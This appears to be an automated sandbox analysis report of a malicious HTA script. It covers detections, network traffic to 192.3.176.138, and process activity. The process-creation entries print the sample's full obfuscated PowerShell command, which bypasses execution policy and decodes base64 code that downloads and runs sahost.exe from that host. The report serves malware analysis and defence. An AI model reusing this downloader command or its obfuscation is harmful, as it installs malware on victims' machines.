LookupPrivilegeValueW Aug. 13, 2024, 5:08 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (8 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\kh2-la8c.cmdline"
cmdline	"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2172 CREDAT:145409

Communicates with host for which no DNS query was performed (2 events)

host	117.18.232.200
host	192.3.176.138

File has been identified by 17 AntiVirus engines on VirusTotal as malicious (17 events)

ALYac	VBS.Heur.Asthma.2.E0C26A83.Gen
VIPRE	VBS.Heur.Asthma.2.E0C26A83.Gen
Arcabit	VBS.Heur.Asthma.2.E0C26A83.Gen
Baidu	JS.Trojan.Kryptik.to
Symantec	ISB.Downloader!gen80
Kaspersky	HEUR:Trojan.Script.Generic
BitDefender	VBS.Heur.Asthma.2.E0C26A83.Gen
NANO-Antivirus	Trojan.Script.Heuristic-js.iacgm
MicroWorld-eScan	VBS.Heur.Asthma.2.E0C26A83.Gen
Emsisoft	VBS.Heur.Asthma.2.E0C26A83.Gen (B)
DrWeb	VBS.DownLoader.3332
FireEye	VBS.Heur.Asthma.2.E0C26A83.Gen
Google	Detected
MAX	malware (ai score=84)
GData	VBS.Heur.Asthma.2.E0C26A83.Gen
Varist	JS/Agent.CIN.gen!Eldorado
Zoner	Probably Heur.HTMLUnescape

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (5 events)

Time & API	Arguments	Status	Return
send Aug. 13, 2024, 5:08 p.m.	buffer: ! socket: 1196 sent: 1	1	1
send Aug. 13, 2024, 5:08 p.m.	buffer: GET /32/sahost.exe HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Host: 192.3.176.138 Connection: Keep-Alive socket: 1232 sent: 324	1	324
send Aug. 13, 2024, 5:08 p.m.	buffer: ! socket: 1196 sent: 1	1	1
InternetCrackUrlA Aug. 13, 2024, 5:08 p.m.	url: http://192.3.176.138/32/sahost.exe flags: 0	1	1
URLDownloadToFileW Aug. 13, 2024, 5:08 p.m.	url: http://192.3.176.138/32/sahost.exe stack_pivoted: 0 filepath_r: C:\Users\test22\AppData\Roaming\sahost.exe filepath: C:\Users\test22\AppData\Roaming\sahost.exe		-2146697205

An executable file was downloaded by the process powershell.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
recv Aug. 13, 2024, 5:08 p.m.	buffer: HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 08:16:07 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Tue, 13 Aug 2024 03:19:33 GMT ETag: "e6800-61f88141f643d" Accept-Ranges: bytes Content-Length: 944128 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/lnk MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL:Ðºfà0V þt @ À@ªt O ¤ Ø! T H.textU V `.rsrc¤ X @@.reloc f@BÞt HÔ <1Èð &(' (' ((({"}{"}{"}0Iu received: 1024 socket: 1232	1	1024	0

One or more non-whitelisted processes were created (4 events)

parent_process	iexplore.exe	martian_process	"C:\Windows\system32\cmd.exe" "/c powErShElL.exE -eX bypasS -NOp -w 1 -C DeVicEcreDenTiALDEpLoymeNT.EXe ; IeX($(iEx('[SYsTeM.TeXT.enCodING]'+[chAr]58+[cHAr]0X3A+'uTF8.gEtSTRInG([syStEm.coNVErT]'+[cHaR]58+[Char]58+'FROMBASe64StRInG('+[chAR]0X22+'JEd4TyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRU1CRXJkZUZJbml0aW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMTU9OLkRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVdk1hTHlrWSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlzVHosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZZ0dHVmYsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3RwQXNhdCxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG15VEZlbWNaQ3QpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWhQQ3pCdkl5T3QiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRVNwQWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIVHZkeUxpZkppUiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJEd4Tzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvMzIvc2Fob3N0LmV4ZSIsIiRlTnY6QVBQREFUQVxzYWhvc3QuZXhlIiwwLDApO3NUYXJULXNsRUVQKDMpO1NUYXJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOdjpBUFBEQVRBXHNhaG9zdC5leGUi'+[CHaR]0x22+'))')))"
parent_process	iexplore.exe	martian_process	C:\Windows\System32\cmd.exe "/c powErShElL.exE -eX bypasS -NOp -w 1 -C DeVicEcreDenTiALDEpLoymeNT.EXe ; IeX($(iEx('[SYsTeM.TeXT.enCodING]'+[chAr]58+[cHAr]0X3A+'uTF8.gEtSTRInG([syStEm.coNVErT]'+[cHaR]58+[Char]58+'FROMBASe64StRInG('+[chAR]0X22+'JEd4TyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRU1CRXJkZUZJbml0aW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMTU9OLkRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVdk1hTHlrWSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlzVHosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZZ0dHVmYsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3RwQXNhdCxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG15VEZlbWNaQ3QpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWhQQ3pCdkl5T3QiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRVNwQWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIVHZkeUxpZkppUiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJEd4Tzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvMzIvc2Fob3N0LmV4ZSIsIiRlTnY6QVBQREFUQVxzYWhvc3QuZXhlIiwwLDApO3NUYXJULXNsRUVQKDMpO1NUYXJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOdjpBUFBEQVRBXHNhaG9zdC5leGUi'+[CHaR]0x22+'))')))"
parent_process	powershell.exe	martian_process	"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\kh2-la8c.cmdline"
parent_process	powershell.exe	martian_process	C:\Users\test22\AppData\Roaming\sahost.exe

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2172 resumed a thread in remote process 2252
NtResumeThread Aug. 13, 2024, 5:07 p.m.	thread_handle: 0x0000000000000360 suspend_count: 1 process_identifier: 2252	1	0	0

Creates a suspicious Powershell process (6 events)

option	-ex bypass	value	Attempts to bypass execution policy
option	-nop	value	Does not load current user profile
option	-ex bypass	value	Attempts to bypass execution policy
option	-nop	value	Does not load current user profile
option	-ex bypass	value	Attempts to bypass execution policy
option	-nop	value	Does not load current user profile

The process powershell.exe wrote an executable file to disk (20 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe
file	C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VKMIWH9C\sahost[1].exe

ieexplore.hta

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All